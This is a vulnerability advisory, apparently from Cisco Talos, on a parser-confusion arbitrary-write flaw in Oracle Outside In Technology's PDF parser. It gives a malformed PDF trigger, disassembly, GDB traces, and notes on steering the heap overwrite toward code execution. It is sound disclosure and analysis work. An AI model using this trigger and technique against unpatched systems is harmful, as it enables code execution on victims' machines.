Talos Vulnerability Report


Oracle Outside In Technology PDF parser confusion Code Execution Vulnerability

January 17, 2017

Report ID



An exploitable arbitrary write vulnerability exists in the PDF parser functionality of Oracle Outside In Technology SDK. A specially crafted PDF document can cause a parser confusion resulting in an arbitrary write vulnerability ultimately leading to code execution.

Tested Versions

Oracle Outside In Technology 8.5.3.

Product URLs


CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)


Oracle Outside In Technology SDK is a widely used file format access and filtering framework. It’s used in many enterprise software distributions for accessing, parsing, filtering and converting numerous file formats.

While parsing a specially crafted PDF file, a parser confusion can result in a string pointer being interpreted as an integer value, resulting in an out of bounds memory access which with careful manipulation of the memory and PDF layout can result in an arbitrary memory overwrite leading to code execution. The vulnerability can be triggered by a malformed /Index entry. Index usually contains an array of numbers, but if a string is found in the array, the vulnerability is triggered. A sample PDF file to trigger the vulnerability is:

1 0 obj
	/Index[10 1!   8]
/Size 50245490
/W[2 2 4]
/Length 79

A misplaced ! character in the above PDF sample causes the third array element to be interpreted as a string, placing a pointer to that string where an integer is expected. This pointer is then wrongfully used in offset calculation in the following code:

.text:B7092C74 mov     eax, [esp+10Ch+var_B4] [1]
.text:B7092C78 shl     eax, 4
.text:B7092C7B lea     eax, [ecx+eax]             [2]
.text:B7092C7E mov     [esp+10Ch+var_F8], eax
.text:B7092C82 mov     edx, [esp+10Ch+arg_0]
.text:B7092C89 mov     eax, [edx+3EE4h]
.text:B7092C8F shl     eax, 4
.text:B7092C92 lea     eax, [ecx+eax]
.text:B7092C95 cmp     [esp+10Ch+var_F8], eax
.text:B7092C99 jnb      loc_B7092D86

In the above disassembly, at [1] a string pointer instead of a small integer is moved into eax. At [2] it is added to ecx which is a pointer to a structure. Since eax is a pointer, adding them together will result in an integer overflow. It just so happens that /Size parameter is parsed before and influences memory layout. By carefully choosing the value of /Size, we can control the integer overflow and end up with an arbitrary pointer. In the above PDF example, the /Size value is chosen so we end up with a pointer to a heap chunk, lending itself to further heap metadata corruption.

EAX: 0x804be08 --> 0x0
EBX: 0xb73c4044 --> 0x38e94
ECX: 0x874db008 --> 0x0
EDX: 0x80b70e8 --> 0x0
ESI: 0x80ce8c8 --> 0x60002
EDI: 0xbfffd908 --> 0x80b6fe0 --> 0x805f4c8 --> 0x80c9508 --> 0x80b7028 --> 0xa ('\n')
EBP: 0xbfffe2d0 --> 0x800010c1
ESP: 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>:        push   ebp)
EIP: 0xb73a5c7e (mov    DWORD PTR [esp+0x14],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
	0xb73a5c74:        mov    eax,DWORD PTR [esp+0x58]
	0xb73a5c78:        shl    eax,0x4
	0xb73a5c7b:        lea    eax,[ecx+eax*1]
=> 0xb73a5c7e:        mov    DWORD PTR [esp+0x14],eax
	0xb73a5c82:        mov    edx,DWORD PTR [esp+0x110]
	0xb73a5c89:        mov    eax,DWORD PTR [edx+0x3ee4]
	0xb73a5c8f:        shl    eax,0x4
	0xb73a5c92:        lea    eax,[ecx+eax*1]
0000| 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>:        push   ebp)
0004| 0xbfffd814 --> 0x80ce8c0 --> 0x41000000 ('')
0008| 0xbfffd818 --> 0x48 ('H')
0012| 0xbfffd81c --> 0xbfffd904 --> 0x48 ('H')
0016| 0xbfffd820 --> 0x0
0020| 0xbfffd824 --> 0x874db0a8 --> 0x0
0024| 0xbfffd828 --> 0x8
0028| 0xbfffd82c --> 0x4
Legend: code, data, rodata, value
0xb73a5c7e in ?? () from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libvs_pdf.so

From the above GDB session, we can see that we end up with eax pointing to a heap chunk.

The same address gets reused a bit later in the same faulty function as a destination of a write operation (with an added offset of 20) which can be seen in the following disassembly:

.text:B7092F03 loc_B7092F03:
.text:B7092F03 mov     edx, [esp+10Ch+var_CC]
.text:B7092F07 mov     eax, esi
.text:B7092F09 call    change_endianness
.text:B7092F0E mov     edx, eax
.text:B7092F10 mov     ecx, [esp+10Ch+var_8C]
.text:B7092F17 mov     [ecx-4], ax     ; write happens here
.text:B7092F1B cmp     ax, 2
.text:B7092F1F jbe     short loc_B70

In the above disassembly, an integer from the decompressed stream is read into an address pointed to by ecx-4 which is under our control which can be seen in the following gdb log:

gdb-peda$ c
EAX: 0x4141 ('AA')
EBX: 0xb73c4044 --> 0x38e94
ECX: 0x804be28 ("REAL")
EDX: 0x4141 ('AA')
ESI: 0x80ce8d0 --> 0x2064141
EDI: 0xbfffd908 --> 0x80b6fe0 --> 0x805f4c8 --> 0x80c9508 --> 0x80b7028 --> 0xa ('\n')
EBP: 0xbfffe2d0 --> 0x800010c1
ESP: 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>:        push   ebp)
EIP: 0xb73a5f17 (mov    WORD PTR [ecx-0x4],ax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
	 0xb73a5f09:        call   0xb738ffc6
	 0xb73a5f0e:        mov    edx,eax
	 0xb73a5f10:        mov    ecx,DWORD PTR [esp+0x80]
=> 0xb73a5f17:        mov    WORD PTR [ecx-0x4],ax
	 0xb73a5f1b:        cmp    ax,0x2
	 0xb73a5f1f:        jbe    0xb73a5f2b
	 0xb73a5f21:        cmp    ax,0x1002
	 0xb73a5f25:        jne    0xb73a5ea1
0000| 0xbfffd810 --> 0x80c9758 --> 0xb7b9cde2 (<IOCompressClose>:        push   ebp)
0004| 0xbfffd814 --> 0x80ce8c0 --> 0x41000000 ('')
0008| 0xbfffd818 --> 0x48 ('H')
0012| 0xbfffd81c --> 0xbfffd904 --> 0x48 ('H')
0016| 0xbfffd820 --> 0x0
0020| 0xbfffd824 --> 0x804be08 --> 0x0
0024| 0xbfffd828 --> 0x8
0028| 0xbfffd82c --> 0x4
Legend: code, data, rodata, value

Breakpoint 17, 0xb73a5f17 in ?? ()
	 from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libvs_pdf.so

Note that in the above gdb log, eax contains 0x4141 which is an arbitrary value from the compressed stream (under direct control) and that ecx points to our the heap pointer we chose previously by integer overflow (with offset +20). A write operation in this case will corrupt the size data of the heap chunk resulting in a following crash:

EXOpenExport() failed: file is corrupt (0x0009)
warning: Temporarily disabling breakpoints for unloaded shared library "/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libvs_pdf.so"
*** Error in `/home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/ixsample': double free or corruption (!prev): 0x0804be28 ***
======= Backtrace: =========
======= Memory map: ========
08048000-0804a000 r-xp 00000000 fd:00 556354     /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/ixsample
0804a000-0804b000 rw-p 00001000 fd:00 556354     /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/ixsample
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

Program received signal SIGABRT, Aborted.
Stopped reason: SIGABRT
0xb7fdbbc0 in __kernel_vsyscall ()
gdb-peda$ x/x 0x0804be28-4
0x804be24:        0x00004141

It should be noted that the size of the conversion in change_endianness function is controlled by /W parameter giving us further control over the overwirte. The same vulnerability can be triggered multiple times, resulting in multiple arbitrary memory overwrites and ultimately code execution.

It is obvious that /Index array should not contain any strings, which signifies a malformed file. The vulnerability can be triggered by the ixsample application supplied with the SDK. Depending on the memory layout in the target environment, the supplied testcase might not result in a crash, nevertheless, memory corruption does occur.

Crash Information

gdb-peda$ context
EAX: 0x0
EBX: 0x4c0e
ECX: 0x4c0e
EDX: 0x6
ESI: 0x82
EDI: 0xb7f79000 --> 0x1c7d64
EBP: 0xbffff398 --> 0xb7f79840 --> 0x0
ESP: 0xbffff0d4 --> 0xbffff398 --> 0xb7f79840 --> 0x0
EIP: 0xb7fdbbc0 (<__kernel_vsyscall+16>:        pop    ebp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
	0xb7fdbbbc <__kernel_vsyscall+12>:        nop
	0xb7fdbbbd <__kernel_vsyscall+13>:        nop
	0xb7fdbbbe <__kernel_vsyscall+14>:        int    0x80
=> 0xb7fdbbc0 <__kernel_vsyscall+16>:        pop    ebp
	0xb7fdbbc1 <__kernel_vsyscall+17>:        pop    edx
	0xb7fdbbc2 <__kernel_vsyscall+18>:        pop    ecx
	0xb7fdbbc3 <__kernel_vsyscall+19>:        ret
	0xb7fdbbc4:        int3
0000| 0xbffff0d4 --> 0xbffff398 --> 0xb7f79840 --> 0x0
0004| 0xbffff0d8 --> 0x6
0008| 0xbffff0dc --> 0x4c0e
0012| 0xbffff0e0 --> 0xb7dde297 (<__GI_raise+71>:        xchg   ebx,edi)
0016| 0xbffff0e4 --> 0xb7f79000 --> 0x1c7d64
0020| 0xbffff0e8 --> 0xbffff184 ("32/redist/libsc_da.so\nb7fd8000-b7fd9000 rw-p 00000000 00:00 0 \nb7fd9000-b7fdb000 r--p 00000000 00:00 0          [vvar]\nb7fdb\202")
0024| 0xbffff0ec --> 0xb7ddfb69 (<__GI_abort+329>:        mov    edx,DWORD PTR gs:0x8)
0028| 0xbffff0f0 --> 0x6
Legend: code, data, rodata, value
Stopped reason: SIGABRT
gdb-peda$ exploitable
Description: Heap error
Short description: HeapError (10/22)
Hash: b42af7471403641a54c8cbc0f252f8f5.926972e46151ec1280fc06fa223de77d
Exploitability Classification: EXPLOITABLE
Explanation: The target's backtrace indicates that libc has detected a heap error or that the target was executing a heap function when it stopped. This could be due to heap corruption, passing a bad pointer to a heap function such as free(), etc. Since heap errors might include buffer overflows, use-after-free situations, etc. they are generally considered exploitable.
Other tags: AbortSignal (20/22)
gdb-peda$ bt
#0  0xb7fdbbc0 in __kernel_vsyscall ()
#1  0xb7dde297 in __GI_raise (sig=0x6) at ../sysdeps/unix/sysv/linux/raise.c:55
#2  0xb7ddfb69 in __GI_abort () at abort.c:89
#3  0xb7e1de0e in __libc_message (do_abort=0x2,
	 fmt=0xb7f28b4c "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#4  0xb7e25406 in malloc_printerr (ptr=<optimized out>,
	 str=0xb7f28c1c "double free or corruption (!prev)", action=<optimized out>) at malloc.c:4974
#5  _int_free (av=0xb7f79840 <main_arena>, p=<optimized out>, have_lock=0x0) at malloc.c:3841
#6  0xb7e29676 in __GI___libc_free (mem=0x804be28) at malloc.c:2951
#7  0xb764e01c in operator delete(void*) () from /usr/lib/libstdc++.so.6
#8  0xb764e07c in operator delete[](void*) () from /usr/lib/libstdc++.so.6
#9  0xb79580e5 in oit::String::~String() ()
	from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#10 0xb7851e42 in ?? ()
	from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#11 0xb77f40e0 in ?? ()
	from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#12 0xb7a2ad7a in _fini ()
	from /home/user/triage/oit_pdf/ix-8-5-3-linux-x86-32/sdk/demo/libwv_core.so
#13 0xb7febf6a in _dl_fini () at dl-fini.c:257
#14 0xb7de1603 in __run_exit_handlers (status=0x9, listp=0xb7f79420 <__exit_funcs>,
	 run_list_atexit=0x1) at exit.c:82
#15 0xb7de1661 in __GI_exit (status=0x9) at exit.c:104
#16 0xb7dc8e8a in __libc_start_main (main=0x80488d4 <main>, argc=0x3, argv=0xbffff6e4,
	 init=0x8048ccc <__libc_csu_init>, fini=0x8048d20 <__libc_csu_fini>,
	 rtld_fini=0xb7febd90 <_dl_fini>, stack_end=0xbffff6dc) at libc-start.c:323
#17 0x08048811 in _start ()


Discovered by Aleksandar Nikolic of Cisco Talos.


2016-08-29 - Vendor Disclosure
2017-01-17 - Public Release